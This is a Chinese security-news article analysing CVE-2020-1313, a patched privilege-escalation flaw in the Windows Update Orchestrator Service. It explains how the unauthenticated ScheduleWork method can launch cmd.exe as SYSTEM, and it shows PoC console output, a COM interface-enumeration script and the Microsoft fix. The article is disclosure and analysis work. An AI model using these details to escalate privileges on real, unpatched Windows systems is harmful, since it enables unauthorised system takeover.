freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+
CVE-2020-1313漏洞分析与利用PoC
Alpha_h4ck 2020-08-06 01:10:39 460831

写在前面的话

Windows Update Orchestrator Service是一个DCOM服务,Windows系统内的其他组件需要使用该服务来安装已下载好的Windows更新。但是,由于该服务中的代码在认证调用函数时存在问题,导致其易受权限提升攻击的影响,即任意用户提升至本地系统权限。该漏洞将影响Windows 10和Windows Server Core产品。

漏洞分析

UniversalOrchestrator服务(9C695035-48D2-4229-8B73-4C70E756E519),其代码在usosvc.dll中实现,并且将以NT_AUTHORITY\SYSTEM权限运行,如果拥有BUILTIN\Users的访问权,即可对其进行配置。即使该服务所实现的COM类枚举功能已经被屏蔽了,但是IUniversalOrchestrator接口(c53f3549-0dbf-429a-8297-c812ba00742d)仍然可以通过标准的COM API调用来访问获取。下面给出的就是暴露的三个方法:

virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed

virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork

virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted

ScheduleWork方法可以用来在服务的上下文环境下设置命令执行的计划任务,并且可以在不进行任何认证的情况下执行。目标可执行程序本身必须拥有数字签名,并且必须位于“c:\windows\system32”或“Program Files”目录下。但是,我们同样可以通过命令行参数来执行目标可执行文件,这样我们就可以通过启动“c:\windows\system32\cmd.exe”,并且以NT_AUTHORITY\SYSTEM权限执行任意代码,最终在目标系统中实现提权。

概念验证PoC

C:\111>whoami

desktop-43rnlku\unprivileged

 

C:\111>whoami /priv

 

PRIVILEGES INFORMATION

----------------------

 

Privilege Name                Description                          State

============================= ==================================== ========

SeShutdownPrivilege           Shut down the system                 Disabled

SeChangeNotifyPrivilege       Bypass traverse checking             Enabled

SeUndockPrivilege             Remove computer from docking station Disabled

SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

SeTimeZonePrivilege           Change the time zone                 Disabled

 

C:\111>whoami /priv

 

C:\111>UniversalOrchestratorPrivEscPoc.exe

Obtaining reference to IUniversalOrchestrator

Scheduing work with id 56594

Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.

计划任务的入口点将添加至注册表中:

 

指定的命令可以在不需要任何用户交互的情况下,在夜间(大约23:20)的时候执行。

漏洞发现过程

当我发现我们无法通过OleView.NET来获取USO服务的接口定义时,我专门创建了一个脚本来遍历大量的CLSID/IID组合。于是乎,我们发现了下列内容:

void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)

{

void *ss = NULL;

IID iid;

ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else

 

HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);

 

printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");

}

 

void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)

{

// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);

// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!

}

 

...

 

TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");

TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");

TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");

        // ... and hundreds of more

方法的执行结果如下:

UniversalOrchestrator IUniversalOrchestrator: WORKING

UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING

UxUpdateManager IUxUpdateManager: WORKING

接下来,我就开始对上述方法执行逆向工程分析,并且发现了本文所介绍的漏洞。

漏洞修复

微软目前已在2020年6月份的漏洞补丁中,通过添加CoImpersonateClient API调用来修复了该问题。

在部署漏洞补丁之前,方法的实现代码如下:

部署了漏洞补丁之后,方法的实现代码如下:

实际上,身份伪装实在处理请求的开始时完成的,因此更新注册表的API调用是在调用方的安全上下文中执行的。如果调用方没有访问HKEY_LOCAL_MACHINE的高级权限,那么USO API方法也将无法被执行。

参考文档

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313

# 漏洞挖掘 # 漏洞分析 # 漏洞利用 # 漏洞复现
本文为 Alpha_h4ck 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Alpha_h4ck LV.10
好好学习,天天向上
  • 2359 文章数
  • 1023 关注者
Tetragon:一款基于eBPF的运行时环境安全监控工具
2025-01-21
DroneXtract:一款针对无人机的网络安全数字取证工具
2025-01-21
CNAPPgoat:一款针对云环境的安全实践靶场
2025-01-21
文章目录